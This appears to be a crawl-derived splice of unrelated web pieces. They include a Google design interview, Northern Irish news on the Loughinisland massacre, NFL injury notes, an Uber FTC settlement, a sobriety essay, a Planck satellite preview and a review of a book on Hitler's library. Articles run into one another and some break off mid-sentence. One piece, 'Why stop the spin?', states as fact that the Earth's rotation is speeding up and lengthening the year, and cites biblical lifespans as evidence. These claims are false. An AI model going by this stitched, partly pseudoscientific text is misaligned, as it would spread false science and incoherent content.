The concepts needed to improve design -- the aesthetic, emotional, social and historical considerations -- don't develop overnight. An Eames lounge chair is based on thousands of years of knowledge. But Duarte says this understanding is starting to emerge in software, even if the collision of technology and design has been somewhat painful. "For Google, it was very hard to go through that transition. A lot of us in this room bare the scars of that transition and there's still more work to do. I think it's really important to start to create an environment where these two communities can actually converse and understand each other." "If you're going to be a product designer and you're going to make furniture you're going to know a lot about your materials and manufacturing, and that's what makes you a designer. But you're also going to know a lot about design, you're going to know about the history of furniture design, you're going to know about ergonomics, style and fashion trends. If I look at digital it is almost impossible to identify people who have both of those backgrounds. And that is a sign of the immaturity in the industry."
As a designer, Duarte is driven to distraction by the seemingly random rows of apps on which our smartphones and tablets rely. "I'm tempted occasionally to just organise all my icons by colour," he admits. And decades on from the invention of the graphic user interface (GUI) desktop, the mouse and the keyboard, we're still all enslaved to them.
Some elements of software and hardware design have changed little since Bill Gates first made headlines in the 1980s Keith Beaty/Toronto Star via Getty Images
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"It starts to look really old and it starts to bring a lot of baggage with it," he says. "It can't be the ultimate solution, it is completely implausible. It cannot be that the optimal solution for 30 years ago, one of the potentially viable solutions for 30 years ago, is going to be applicable for all time."
Asked what Google is working on now, Duarte is evasive. Will it radically change the phone in everyone's pocket? "I hope so. But even if I knew I couldn't tell you." And what about suggestions Google should make its own phone, rather than outsourcing it to the likes of Huawei and LG?
"I don't know that Android Wear has the right solution or even is on a vector to the right solution, nobody knows" Matias Duarte, vice president of design, Google
"I don't know. It could happen. I don't know if that's a thing that Google needs to do or even a thing that Google even particularly wants to do. It would give you greater control but I don't know if you need greater control. "I think if that team felt like there were things that they wanted to do in the phone space that they couldn't find a partner for, they would be empowered to do that. But it's not a mission or a goal unto itself."
And his vision of a less intrusive, more human form of computing is still some way off. Current designs rely on siloed apps -- Airbnb, Facebook, Uber -- unwilling to talk to one another: "a set of features that a particular brand encapsulated and hid behind a little doorway". "If you think about the way that traditional desktop application software was, it had a very monolithic character. Successful desktop applications actually tended to expand and expand and expand and to almost try to become operating systems unto themselves," Duarte says, pointing to Microsoft's Office suite and Adobe Photoshop as examples. "In going towards mobile we've sliced things up a little bit further so apps tend to be more single focussed but they're still fairly monolithic entities."
Android Wear and Apple's Watch OS have both moved away from the rows of app icons used on smartphones and tablets Google
Android Wear, which leans heavily on contextual understanding, voice control and pulling useful nuggets of information from apps, shows a different way of thinking. And, much like Apple's Watch OS, the change in design was forced by necessity.
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"This idea of a tiny grid that you manually curate starts to feel very heavy and burdensome" Matias Duarte, vice president of design, Google
"Why should there be a grid of apps on a watch? It's this tiny thing and it's hard to pick through and hard to organise and so on and so forth. And as you accrue and use more and more services that's going to start to get really ridiculous. You're going to have a massive grid on a little tiny screen. So that created this opportunity where we could try something new and different." "I don't know that Android Wear has the right solution or even is on a vector to the right solution, nobody knows," Duarte says. "We're just trying things to see which are successful. That's what design is. You form a thesis, you try to do it without any ego or hubris."
But where will digital design be in ten years time? Will we still be stuck using GUI interfaces and smartphones based on the original iPhone? "I hope not. I really hope not. That would make me very sad and I'm doing my hardest to make sure that that is not the case. That is one of the things that I care passionately about. I'm going to do my hardest to make sure that in 10 years time you're not going to sitting with a single laptop and walking around with a phone. But instead working with a much richer, continuous mesh of devices and interfaces."Six Catholic men were shot dead by loyalist gunmen as they watched a World Cup match in June 1994 in the Heights Bar in Loughinisland. Picture by Alan Lewis/PhotopressBelfast.co.uk
THE SDLP and Sinn Féin have called for action following new revelations about the Loughinisland massacre.
Former South Down MP Margaret Ritchie described details revealed in a major documentary as "chilling" and said the Irish government needed to intervene.
Sinn Féin South Down MLA Emma Rogan, whose father Adrian was one of six people killed in the June 1994 attack on the Heights Bar, said the film highlighted the need for justice and accountability.
No Stone Unturned, which goes on release on Friday November 10, names three people suspected of involvement in the attack, as well as the wife of a suspected gunman.
It identifies Ronald Hawthorne as the man referred to as 'Person A' in a Police Ombudsman report last year about the massacre.
His wife Hilary Hawthorne is said to have admitted to detectives that she named the suspects in two calls to an anonymous phone line and in a letter sent to a former SDLP councillor.
Her voice was said to have been recognised by police because she was a civilian employee in an RUC station.
In the anonymous letter, she also implicated herself around the planning of the attack.
Ronald Hawthorne was arrested in August 1994 - two months after the killings - while Hilary was detained the following year.
Both were released without charge.
It is understood they remain married and have been involved a cleaning and pest control business together.
The makers of the programme put the allegations to the suspects and made them aware of the broadcast, but did not receive a response.
No-one answered an intercom when The Irish News visited the Hawthornes' home in the Clough area of Co Down yesterday.
There were few signs of life at the house, with blinds drawn and a shopping bag hanging over the front gate.
Ms Rogan, who was just weeks short of her eighth birthday when her father was shot dead in the atrocity, was elected to the assembly for South Down earlier this year.
She said it is time for legacy mechanisms agreed at Stormont House to be implemented.
"Watching the documentary was a very powerful experience because it really goes into complexities and nearly links the pieces together," she said.
"It is also a huge relief that it’s actually out there. All can watch it and know the depth of collusion, the cover-ups, failed investigations and continued attempts to hide the truth.
"It also vindicates our long-held suspicions and beliefs that the truth about these murders was being covered up by the very people, the RUC, that were supposed to protect us.
"We now need justice and accountability from those in authority."
Former SDLP South Down MP Margaret Ritchie said she recalled being shown the letter written by Hilary Hawthorne.
"I remember advising that they see a solicitor and send it to the police. Little did I know that the letter was written by someone working in the police station. What did the police do about the letter?" she said.
"What are the authorities doing to apprehend these people? They must be subject to the due process of the law.
"There also needs to be the involvement of the Irish government here in protecting the interests of victims and survivors.
"This goes to the heart of legacy issues. It is chilling to read."
Last year the Police Ombudsman found that there had been collusion in the murders of the six Catholics, who were shot dead as they watched the Republic of Ireland play Italy in the World Cup.
Oscar-winning film maker Alex Gibney spent years working alongside former Irish News journalist Barry McCaffrey on No Stone Unturned, which has been made by Belfast-based production company Fine Point Films.
Due for general release on November 10, it has also been submitted for consideration for the Academy Awards.Big Blue is black and blue.
Reeling off of two blowout losses to the NFC West-leading Los Angeles Rams and the cellar-dwelling San Francisco 49ers, the New York Giants have lost their starting left guard for this week's clash with the Kansas City Chiefs, and maybe longer.
Justin Pugh will not play Sunday because of a back injury, NFL Network Insider Ian Rapoport reported, per a source. The injury, suffered against the Niners, looks to be week-to-week after missing the Chiefs game, but could also be a multi-week injury.
Pugh's absence will be a huge loss for a Giants offensive line that has grown stronger as their disappointing season has gone along. The versatile lineman played wherever New York needed him, either at left guard or at right tackle this season. Pugh is the second Giants starter on the front line to likely be lost for a significant amount of time; center Weston Richburg was placed on injured reserve recently with a concussion.
To replace Pugh on the line, New York signed guard John Greco on Monday.
Here are the other injuries we're tracking on this Wednesday in Week 11 of the 2017 NFL season:
1. Aaron Rodgers took a step forward in his rehab back from a broken collarbone that has sidelined him since Week 6.
Rodgers was spotted taking snaps from a trainer and at times whipping a towel in a throwing motion during the portion of Wednesday's practice open to the media, per the Milwaukee Journal Sentinel. The paper added that Rodgers also worked on cardio and agility drills in his first work done in front of the media since suffering the injury to his throwing shoulder.
Rodgers' backup, Brett Hundley, was a full participant in Wednesday's practice. Hundley was reported with a hamstring injury following last week's win over the Bears.
2. The Los Angeles Chargers are encouraged by the progress quarterback Philip Rivers has made in the league's concussion protocol, sources informed the situation told Rapoport. Rivers was limited in practice Wednesday.
3. Denver Broncos quarterback Brock Osweiler, who is dealing with an injured right shoulder, was limited in practice Wednesday.
4. Dallas Cowboys offensive tackle Tyron Smith (back/groin) did not practice today. Smith remains day to day, head coach Jason Garrett said. Cowboys receiver Dez Bryant (knee) and linebacker Sean Lee (hamstring) also did not participate in Wednesday's practice.
5. Green Bay Packers coach Mike McCarthy said quarterback Brett Hundley (hamstring) will be a full participant in practice. McCarthy is hopeful wide receiver Ty Montgomery (rib) will play Sunday.
6. Titans quarterback Marcus Mariota (ankle), tight end Delanie Walker (forearm) and guard Quinton Spain (toe) were all full participants at practice Wednesday and will be active for Thursday night's game against the Steelers.
7. Cardinals coach Bruce Arians said quarterback Drew Stanton (knee) has made more progress than expected. Blaine Gabbert took majority of first team reps Wednesday. Arians said he will likely make a QB decision by Friday.
8. Houston Texans head coach Bill O'Brien told reporters Wednesday he's not sure if wide receiver Will Fuller cracked his ribs in Sunday's loss to the Los Angeles Rams but does not anticipate him playing this week.
9. Philadelphia Eagles cornerback Ronald Darby (ankle), tight end Zach Ertz (hamstring) and safety Jaylen Watkins (hamstring) were all full participants in practice today.
10. New Orleans Saints safety Kenny Vaccaro (groin) was limited in practice. Linebacker A.J. Klein (ankle) did not practice.
11. Washington Redskins tight ends Jordan Reed (hamstring) and Trent Williams (knee) both sat out of practice.Uber will pay $20 million to settle a lawsuit with the Federal Trade Commission for misleading drivers about how much they could earn on the platform.
The FTC alleged that Uber made false, misleading or unsubstantiated claims about driver earnings and its vehicle financing program. According to the complaint, Uber claimed its drivers could earn a median income of more than $90,000 per year in New York and more than $74,000 in San Francisco. In reality, the FTC said, less than 10% of drivers earned that.
Regarding its vehicle leasing program, Uber has made "unlimited mileage" claims, but the actual leases do impose limits. "Uber has had no basis with which to make these claims," according to the complaint.
The lawsuit alleges that Uber has collected "significant revenue" from driver fares, as well as "tens of millions of dollars" from drivers participating in its leasing program.
This is a win for drivers when it comes to more transparency from the company moving forward. Uber drivers -- considered to be contractors, not employees -- have long complained about the company's payment practices.
While Uber did not admit or deny that it engaged in these misleading practices, it has agreed to not misrepresent the potential earnings for drivers or its terms and conditions for leasing vehicles.
The $20 million will go toward repaying drivers affected across the country.
"We're pleased to have reached an agreement with the FTC," Uber said in a statement. "We've made many improvements to the driver experience over the last year and will continue to focus on ensuring that Uber is the best option for anyone looking to earn money on their own schedule."Why stop the spin?
What causes bad weather and natural disasters? The spin of the earth. Wind, rain, snow, hail, floods, drought, hurricanes, tornados, and lightening are all caused by temperature (and pressure) differences in the earth's atmosphere. These are caused by the earth's spin.
The earth's spin in quickening. The earth takes 365 days, 5 hours, 48 minutes and 46 seconds to revolve around the sun. This number has increased from a'more round' number - (likely, 300). Julius Caesar was the first to notice this problem. He compensated for it by introducing the leap year (he defined the year as 365 days, with one "leap day" added every four years). The earth's spin directly affects its revolution around the sun. A quick analogy to a bicycle: The spinning wheels on a bike resist the downward force of gravity, allows us to stay upright. Similarly, the faster the earth spins, the more resistance it has against the sun's pull. Therefore the time of revolution has increased due to the earth's faster spin. The bible has further evidence of this: Abraham lived to be 175 years old and Methuselah (the oldest man in the bible, lived to be 969 years old). Did they really live that long? Unlikely. The explanation is simple: the length of a year used to be significantly shorter. Because of the earth's increasing rate of spin, the length of a year has become longer.
The earth will eventually throw us off. Consider what happens if you place a coin on the outside of a stopped record and then turn on the record player. Because of centrifugal force, the coin flies off. The earth's spin is quickening and, similar to the spinning record, all things on the surface of the earth will soon be flung off.
Stopping the spin of the earth has innumerable benefits:We've seen numerous companies announce devices that boot Android and some flavor of Windows, but very few of them ever hit the market. Just yesterday, Huawei announced that it was switching its Windows Phones to dual-OS Windows Phone/Android devices, which would launch in the second quarter of this year. Samsung announced the Ativ Q dual-boot convertible nine months ago, and we never heard about it again. One of the few companies actually shipping dual-boot hardware is Asus, which offers a convertible tablet/laptop and a few all-in-one PCs.
According to a report from The Wall Street Journal, Microsoft and Google are both out to stifle any device that doesn't have a firm allegiance to either Android or Windows. The report says that both companies have told Asus to end its dual-OS product lines and that Asus is complying. The WSJ says Asus' newest dual-boot product, the Transformer Book Duet TD300, which we wrote about during CES 2014, will never see the light of day. Asus' all-in-one PCs, the Transformer AiO P1801 and P1802, will be pulled from the market.
Both companies have reasons to want to stop dual-boot devices. Windows 8 is under pressure with its desktop, and Microsoft does not want Android to get a foothold there. Android dominates smartphones, and Google doesn't want Windows Phone paired with Android. Both companies have ways of making OEMs comply with their wishes. Microsoft provides PC OEMs with marketing funds, which the report says are an "important economic force" in the low-margin PC business. Companies that aren't on board with Microsoft's vision could have their money dry up. While the base of Android is open source, the Play Store, Google Maps, and other Google apps needed to make a viable smartphone are under Google's control. Companies that don't comply with Google's requests might not get the apps they need to have a competitive product.
The report seems to indicate that Microsoft is unhappy that Android would be packaged with both Windows 8 and Windows Phone, which is interesting given that Microsoft has an upcoming Windows Phone update that supports on-screen buttons, which would mean Android hardware could be reused for Windows Phone. Apparently switching OSes in the factory is OK, but allowing consumers to do so at will is a step too far.
The objections from Microsoft and Google are a big blow for Intel, whose x86 architecture is the only chip that can run Android next to the full version of Windows 8. The report states that Intel's plan around this is to help OEMs ship PCs and tablets to distribution channels with no OS pre-installed. The device could then be loaded with the desired OS when a customer orders a system.
The report makes no mention of the Asus Transformer Book Trio, a Windows 8/Android laptop currently on sale. The Trio might escape Microsoft and Google's wrath by actually being two completely separate computers disguised as a single laptop. The bottom of the laptop/tablet hybrid runs Windows 8, and the top is a tablet that runs Android. The Trio has two of everything—the top and bottom have separate CPUs, RAM, storage, cameras, and network connectivity, but the two halves connect laptop-style and share the screen and keyboard. It will be interesting to keep an eye on that Amazon link and see if it disappears soon.
All of this ignores the fact that dual-OS devices are always terrible products. Windows and Android almost never cross-communicate, so any dual-OS device means dealing with separate apps, data, and storage pools and completely different UI paradigms. So from a consumer perspective, Microsoft and Google are really just saving OEMs from producing tons of clunky devices that no one will want. Giving consumers a choice of OS is great, but they only need to make the choice once: at the time of purchase.Watch This: London Brings In The New Year With An Incredible Fireworks Show Featuring Music From Swedish House Mafia, Hardwell And More
London‘s annual New Year’s Eve show is accompanied by a marvellous fireworks show that will simply leave you astounded, and 2016’s show was even bigger and better from its previous edition.
Taking place at The London Eye, the show featured over 12,000 fireworks, going off in sync, making for a breathtaking visual spectacle. With over 110,000 people at the show, the soundtrack for the night included Prince, David Bowie, Jimi Hendrix and more while a large chunk of the music featured tracks from electronic music’s biggest stars, including Swedish House Mafia, Hardwell, Fatboy Slim, Dillon Francis and others.
Hardwell‘s remix of Coldplay‘s ‘A Sky Full Of Stars‘ sat aptly in the soundtrack, with David Bowie‘s music blended in seamlessly into the remix, followed by Dillon Francis‘ remix of Chromeo‘s ‘Jealous‘, and Swedish House Mafia‘s seminal hit ‘Don’t You Worry Child‘ closing the show in an emphatic fashion.
You can watch the full show here below, and jump to 8:50 to catch the final moments featuring some of electronic music’s biggest hits.National Perinatal Depression Initiative loses federal funding; states, territories 'hard-pressed' to cover cuts
Updated
The Federal Government has refused to extend a funding agreement with the states and territories to provide care for women with perinatal depression.
Under the agreement, reached in 2008, thousands of new parents accessed screening and counselling services aimed at identifying and treating the illness in the early stages.
The $85 million program, known as the National Perinatal Depression Initiative (NPDI), expired in 2013 and health ministers have been negotiating its future ever since.
This week, however, Federal Health Minister Susan Ley informed her counterparts across the country the Commonwealth would stop contributing money by the end of the month.
Victoria's Minister for Mental Health, Martin Foley, criticised the decision at a press conference in Melbourne on Friday.
"To cut the programs that fund perinatal programs that support mothers and children is just one of the cruellest cuts [the Federal Government] could deliver to the most vulnerable families," he said.
Queensland Health Minister Cameron Dick said the announcement came as a surprise.
"We received a letter on June 15 telling us that $1.6 million will be taken out of this program from Queensland from June 30," he told 7.30.
"That's no way to run federal-state relations and it's no way to run a national response to a very serious issue."
Do you know more about this story? Email 7.30syd@your.abc.net.au
One in seven new mothers in Australia will develop depression in the perinatal period. That is, before or after they have a baby.
Suicide linked to mental health problems is the leading cause of maternal deaths.
Researchers at Melbourne's Centre of Perinatal Excellence (COPE) argue the NPDI was helping mothers detect early signs of trouble.
"We know that the faster someone is identified and treated, the faster they seek help, and the faster they recover," COPE founder Dr Nicole Highet said.
"That stops the long-term impacts not only for the mother but also the family and the baby."
Cost of not screening greater than cost of NPDI: report
An economic analysis released by COPE last year found the cost of not screening mothers in the perinatal period was far greater than the $85 million governments had invested in the NPDI.
"We know that by not identifying or treating, for example, post or antenatal depression in 2013, that would cost the economy around $530 |
told me to run less against his team! I knew at that moment that I still had a lot more I could do in football.
1:10 for Cafu's beauty
Embedded video for Cafu: The Games That Changed My Life
This feature originally appeared in the January 2016 issue of FourFourTwo. Subscribe!
New features you'd love on FourFourTwo.comI stopped drinking 14 months ago. It was roughly 1 month into my sober journey that I had the realisation, I had not lived any of my adult life without alcohol. I had used it periodically to deal with many different aspects of life from the age of 14. Socialising, de-stressing, dealing with bad days, celebrating the good, unwinding and more, all seemed to involve alcohol somehow. I had been using it to self medicate, self soothe and give me the boost I thought I had needed for nearly 20 years. Prescribed to me from a very young age by the society I live in that this is just what people do, a socially acceptable drug to take, the norm for adult human beings ― without ever really questioning why.
In early sobriety I faced obvious challenges such as dealing with those situations, places and times where I used to drink but what I did not anticipate was the hardest challenge of them all ― myself and my own thoughts and emotions. I no longer had that society prescribed “medication”, that crutch that I had been using for 20 years to help me in many different areas of my life. I thought it would be as easy as putting the drink down, I didn’t anticipate what some people call the “emotional roller -coaster,” that period in early sobriety when you literally have to re learn how to think, feel, behave without turning to alcohol and that is challenging, especially on the more difficult days that life has to offer.
I found the most valuable tool was to talk to other people who are also in sobriety, hear their stories and experiences and also reflect upon my own thoughts and feelings and write them down. Here is a collection of the best advice I have been given over the last 14 months and some of my own personal reflections on how to survive early sobriety and the emotional roller coaster.
Alcohol is an integrated part of this world but I do not have to drink it.
It sounds straight forward but this was the first hurdle I had to overcome. Especially when alcohol had been such a big part of my life.I accepted this pretty quickly and I told those closest to me I was not drinking anymore, this made going from being a drinker, to a non drinker much easier because I had the support of those closest to me. I also accepted that it was not only possible but more than achievable to live in this world sober, even when alcohol is all around.
Putting sobriety as my number one priority.
With this premise in mind, it made making decisions early on in sobriety much easier. It allowed me to think very carefully about the situations I was putting myself in, the places I was going and the people I was hanging out with. By putting myself and my want not to drink first, I stopped doing things that would otherwise have enabled me to drink and fall off the wagon. My sobriety was my absolute priority (and still is.)
Accepting the things I cannot change.
This was a valuable piece of advice for me. This includes the past and other human beings and their actions. The past cannot be changed but I can learn from it and ensure positive behaviour is emulated but negative behaviour is not repeated. I also started to realise that other people’s actions are out of my control. With these both in mind, the only thing I am in control of is myself and how I react to things and as long as I keep my metaphorical side of the street clean, then I know that I am doing the best that I can. There is peace in that.
If something is bringing me down and it doesn’t look like it will not change – it has to go.
Peace of mind is important and it might sound harsh but it is necessary. I changed jobs as an example, I removed people from my life, I stopped going to places I didn’t really want to go to. There are some things I have no control over but there are some things that I do and the things that I do, if it is negative or toxic - well, it needs to go. Negative and toxic behaviour that directly affect me but I can remove is key to good mental well being. I am much happier surrounding myself with the right people, the right places and the right situations that bring out the best in me.
The power of saying no.
In early sobriety this is a must. There are events, situations and even people I have to say no to for my own well being. There is nothing wrong with saying no to someone or something if it is not right for you. It took sobriety to highlight this to me. As a result, I no longer feel like a people pleaser and I have taken the time to concentrate more on the things I actually want to do to fulfill myself. I also apply this principle when someone says no to me - people need to do what is best for them. There is no point being offended.
Letting go of resentments.
Resentment leads to bitterness which leads to anger which is poison and is detrimental to a human growth. I had to focus on people and situations from my past. Rather than burying resentment, I had to face a few personally difficult issues from my past, address them and release them. I wrote letters as examples, I shared with other people who I trusted and the burden was lightened. It’s human nature to be annoyed from time to time but by carrying the burden of past resentments around I was in turn angry. Releasing it means the weight is lifted.
Be honest and share it.
I am much more honest with those closest to me and most importantly myself. It means I very rarely get lost in my own head because I share and I share honestly and openly with people who I trust. I have learnt there is no shame in how I feel about anything. True honesty and acceptance means not getting lost in your own head/thoughts/feelings/emotions and the world seems easier and lighter as a result – it is this that has changed me the most.
Life is like a heart monitor, without the ups and downs you aren’t living.
Life can be great, life can be s**t but nothing is permanent, things change and sometimes I just have to accept that and ride out the s**t times knowing that eventually it will pass and things will be ok. This can be quite hard in early sobriety – when you are feeling low about something because it feels so negative. However, I have never felt more empowered and enlightened than when I’ve faced the downs without alcohol and come out the other side stronger. I know I can handle life and all its terms.
Removing alcohol has taken me down a complete transformative path. I have learnt that I do not need to have alcohol, to be a better version of myself. I am the best version of myself without it.
Authors own Sobriety is a journey, not a destination.In a fitting irony, the static that once bothered scientists trying to tune in to the universe has turned out to be an incredibly rich source of information about it. Probing these signals over the past 40 years—known as the cosmic microwave background (CMB) radiation—scientists have dug out cosmological secrets that have revolutionized the field. Next, European scientists will spy on the relic photons with instruments of unprecedented detail, when they launch the Planck satellite in early 2009.
But the Planck mission won’t be about putting the proverbial “one more number after the decimal.” For the first time, it will probe the dynamics of the early inflationary universe. By sifting through the details of how the temperature of the early universe varied slightly in different directions, the many different models of inflation—the furious exponential expansion of space that took place around 10–35 second after the big bang—can be put to the test, as each makes its own unique predictions. The satellite will also look for evidence of primordial gravity waves, providing theorists with more data to apply to their ideas. And it will more accurately measure the densities of ordinary matter, dark matter and dark energy that occur in puzzling proportions in the universe (5, 23 and 72 percent, respectively).
After years of planning, construction and testing, “smiles are on all faces,” says Jean-Michel Lamarre of the Paris Observatory, the instrument scientist for one of the satellite’s two onboard specialized cameras called the High-Frequency Instrument. (The other is the Low-Frequency Instrument.) About the size of a family car, the Planck satellite will launch from French Guiana in tandem with the European Space Agency’s Herschel Space Observatory. It should begin returning data in the summer and has a mission lifetime of 21 months.
The European Space Agency began planning the Planck mission in 1992, when NASA’s Cosmic Background Explorer (COBE) satellite began sending back data on anisotropies in the CMB—subtle but definite fluctuations in the remnant background heat of the universe (–270.42 degrees Celsius, or 2.73 degrees above absolute zero). Evident at only 10 parts per million, these energy density fluctuations ultimately led to the development of structure in the universe—galaxy clusters and large voids between them—and their measurement uncorked a stream of findings about the big bang.
In 2003 the field took another leap forward when the Wilkinson Microwave Anisotropy Probe (WMAP) satellite looked at the CMB with 45 times more sensitivity. It gave scientists accurate measurements of the age of the universe (13.73 billion years), its rate of expansion (70.1 kilometers per second per megaparsec, where a megaparsec is 3.26 million light-years), and the proportions of the stuff making up the universe. WMAP confirmed the leading theory in cosmology, so-called lambda-CDM (cold dark matter), which is a universe governed by Einstein’s theory of general relativity and dominated by gravity-repelling dark energy.
The Planck satellite will measure the fluctuations of the CMB to two parts per million, which is about three times better than WMAP did. And its two sophisticated cameras will gather light from nine frequency channels (WMAP had five, in a limited range) with noise lower by an order of magnitude.
“Planck will tell us fundamentally new things, complementary to WMAP,” says Oliver Zahn of Lawrence Berkeley National Laboratory, who has been elbow-deep in the calculations that will turn Planck’s raw data into cosmological parameters. “I’ll be surprised if Planck is not as surprising as WMAP and the Hubble Space Telescope have been.” WMAP can measure less than 10 percent of the information contained in the CMB temperature anisotropies and only a tiny fraction in the directional deviations of the CMB’s polarization (the bearing of its electric and magnetic fields as it propagates through space). In contrast, Planck’s full-sky view will measure essentially all the temperature information and a significant part of the polarization data.
The most exciting results could come from the so-called B modes of the polarization data, which have never been measured. The strength of the gravity waves predicted to be generated by the universe’s inflationary phase determines the amplitudes of these B modes, so measuring them can pinpoint the best among competing models of inflation. Planck could, then, provide proof that the universe went through an inflationary phase and indicate the scale of the energy that drove it. “Of all the exciting science that we will do, this is the most exciting possible measurement of all,” says Jan Tauber, the European Space Agency’s chair of the Planck science team. And, as always, the best thing to come from Planck could be completely unexpected.
Note: This article was originally printed with the title, "Deeper into the Void".Welcome to YouTube Millionaires, where we profile channels that have recently crossed the one million subscriber mark. There are channels crossing this threshold every week, and each has a story to tell about YouTube success. Read previous installments of YouTube Millionaires here.
Jon Jafari started his video game-centric YouTube channel under the banner of JonTron back in August 2010. In the time since, the New Yorker’s comical, critical, and sometimes nostalgic look at terrible video games (and occasionally other pieces of very bad entertainment ephemera) have amassed quite the following. And it’s easy to see why. Jafari covers the very popular online video gaming genre unlike anyone else, by way of compelling takedowns with a Mystery Science Theater-esque spin. Plus, the dude’s got a pet parrot that sits on his shoulder while he plays.
JonTron officially hit the one million subscribers mark on YouTube on May 7, 2014. We caught up with him to ask how it feels to cross the seven-figure sub threshold, what all goes into the making of his videos, and what he’s planning next.
Tubefilter: How does it feel to have one million subscribers? What do you have to say to your fans?
JonTron: It feels great, it really does! I just want to thank each and every one of them for sticking with me through the years. It can be difficult to keep it together and keep churning out content, but it’s always worth it when they’re satisfied with the content we create.
TF: How many of the games you review have you actually played before you review them? Do your videos involve a “test run” of any sort?
JT: I get an idea of what the episode can be about, but most of my reactions to the game are first time reactions and I try to keep them as genuine as possible. Obviously we embellish, but it’s not all an act.
TF: When you’re putting a new video together, how much do you focus on the “skit” sections vs. the actual gameplay?
JT: I try to focus entirely on the gameplay, I don’t like chewing the scenery with skits. Just about every time I do that I regret it. I try to make sure any extra jokes that are in there serve to make the gameplay funnier.
TF: Some of your most recent videos have also been some of your most popular ones. Are there ways you think you’ve honed your style as you’ve gained more experience with The JonTron Show?
JT: Of course with more practice always comes refinement. I think it’s funny to say I have refined what I do, considering I never expected it to grow to be what it has become, but I really do feel like I know better what jokes work and what jokes don’t. Trimming the fat, as they say?
TF: Do you have a least favorite game out of all the ones you’ve reviewed on your show?
JT: I tend to form a relationship with every game I play even if it’s bad, but I’ll tell you there are some games that were a pain in the ass to capture for one reason or another. I think I can safely say out of all the games I’ve played, Space Ace is the one that give me the most PTSD. I really don’t like that game.
TF: You’ve reviewed a few movies, too. Any plans to try out a crappy TV show sometime?
JT: I have already, with Goosebumps! Although I wouldn’t consider it crappy, I love that show.
TF: How successful have you been in bringing your fans over to Normal Boots? Ultimately, would you like to move your whole audience there?
JT: The NormalBoots project has been a complicated one. It seems like problems always crop up stopping us from fully being able to commit our audiences there safely. I will say though that we are happy if people enjoy watching on YouTube or NormalBoots. We really appreciate any patronage.
TF: What’s next for your channel? Any fun plans for it?
JT: That’s for me to know and you to watch and say, “He’s not as good as he used to be.”
On Deck (channels that will soon reach one million subscribers): NachoPunch, TMZ, xRpMx13PBS As the US military continues to rely more on special operators to carry out missions around the world, SEAL Team 6 has expanded its operational range to include intelligence-gathering missions, The New York Times reports in an in depth report on the Navy group.
Part of the expanding reliance upon SEAL Team 6 involved an enlargement of the group's mandate. Following September 11, the team's sniper unit, Black Squadron, was reshaped into an intelligence gathering unit.
These intelligence gathering operations would be largely based out of US embassies with Black Squadron operators functioning in deep cover among embassy staff.
In order to better pose undercover, the Navy allows women to serve in Black Squadron (while SEAL Team 6 does not). Female and male operatives often work together in pairs in order to lower their profiles and make the grouping appear less suspicious.
This cover awarded the operators a range of benefits in terms of staging operations against high-value targets.
"SEAL Team 6 used diplomatic pouches, the regular shipments of classified documents and other material to American diplomatic posts, to get weapons to Black Squadron operators stationed overseas, said a former member," the Times reports.
MONTEREY, Calif. (Nov. 5, 2009) Lt. Joseph Maxwell, assistant officer in charge for the Center for Information Dominance Detachment Monterey, and Chief Cryptologic Technician (Interpretive) Shawn Kumagai inspect the hairstyles of female Sailors during a personnel inspection at the Presidio of Monterey. US Navy
Black Squadron is responsible for the creation of front companies that allow SEAL Team 6 to run intelligence gathering operations in potentially dangerous but critical areas around the world. The work of Black Squadron in the American Embassy in Yemen, for instance, reportedly was central to the killing of wanted American al Qaeda member Anwar al-Awlaki through a drone strike.
Black Squadron is estimated to have over 100 members throughout the world, the Times notes.The launch of the Xbox One in November brings with it Forza Motorsports 5, and as nice as the new game pad's haptic feedback is, racing fans are going to need something meatier. Something with force feedback and foot pedals and genuine suede leather. Oh hi there, Mad Catz Force Feedback Racing Wheel for the Xbox One.
I've got no price, no release date other than holiday 2013, and no real desire to spend hours trying to play Forza 5, but some primal part of me wants this inside my apartment, preferably away from the kids. With twin next generation force feedback motors and a CNC anodized aluminium wheel face, which can be removed from the base for future upgrading, this makes me drool quite a bit.
Did I mention it ships with an adjustable pedal set? It ships with an adjustable pedal set. You can tweak the spring resistance and pedal height and spacing.
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The Mad Catz Force Feedback Racing Wheel for the Xbox One should be shipping around the time Forza 5 comes out. It will probably cost a billionty-five dollars.HITLER'S PRIVATE LIBRARY
The Books That Shaped His Life
By Timothy W. Ryback
Knopf. 278 pp. $25.95
Most of what remains of Hitler's personal library -- 1,200 volumes out of the roughly 16,000 it once contained -- can be found on the rare book shelves of the Library of Congress. Retrieved largely from a Berchtesgaden salt mine, many of these books contain fawning inscriptions to "Mein Führer" from their authors and sometimes also display an oversized woodcut bookplate, consisting of a spread eagle and the name Adolf Hitler. Apart from the occasional ownership signature and date, the German dictator usually didn't scribble in his books, preferring to underline favorite sentences in pencil or to draw a vertical line or insert an exclamation point in the margin next to a significant passage. These markings alone hint at the nature of Hitler's engagement with any particular text, yet it is often impossible to be sure that they are even in his hand. There's also no way of telling whether these remnants of Hitler's library actually represent the titles that he most truly cared about. Odds are they don't. A good many of the volumes appear to be unread.
So what books did Hitler value and even cherish? According to Timothy W. Ryback's research, "he ranked Don Quixote, along with Robinson Crusoe, Uncle Tom's Cabin, and Gulliver's Travels, among the great works of world literature.... He considered Shakespeare superior to Goethe and Schiller." Hitler, we are told, frequently quoted Hamlet and Julius Caesar, was well versed in the Bible (he had once hoped to become a Catholic priest or monk), and was passionate about the adventure novels of Karl May, many of them Westerns in roughly the style of Owen Wister or Zane Grey. Hitler once wrote: "The first Karl May that I read was The Ride Across the Desert. I was overwhelmed! I threw myself into him immediately which resulted in a noticeable decline in my grades." How strange and sad it is to think of this evil, evil man as a wide-eyed schoolboy avoiding his homework in order to read one more exciting page about Old Shatterhand and the Apache chief, Winnetou.
Adopting the critic Walter Benjamin's arguable proposition that "a private library serves as a permanent and credible witness to the character of its collector," Ryback examines perhaps 15 or 20 representative works from Hitler's surviving books to illuminate their owner's thought and actions. These include guides to Berlin and Brussels (both studied at the front during World War I); Hitler's memoir, Mein Kampf; an edition of the philosopher Fichte (given to him by filmmaker Leni Riefenstahl); selected works of Schopenhauer and Nietzsche; volumes devoted to weaponry, military strategy and great generals (Frederick the Great, von Schlieffen); several popular accounts of the occult; and numerous anti-Semitic tracts and works of pseudo-scholarship, including Henry Ford's notorious The International Jew. Hitler once said, "I regard Ford as my inspiration."
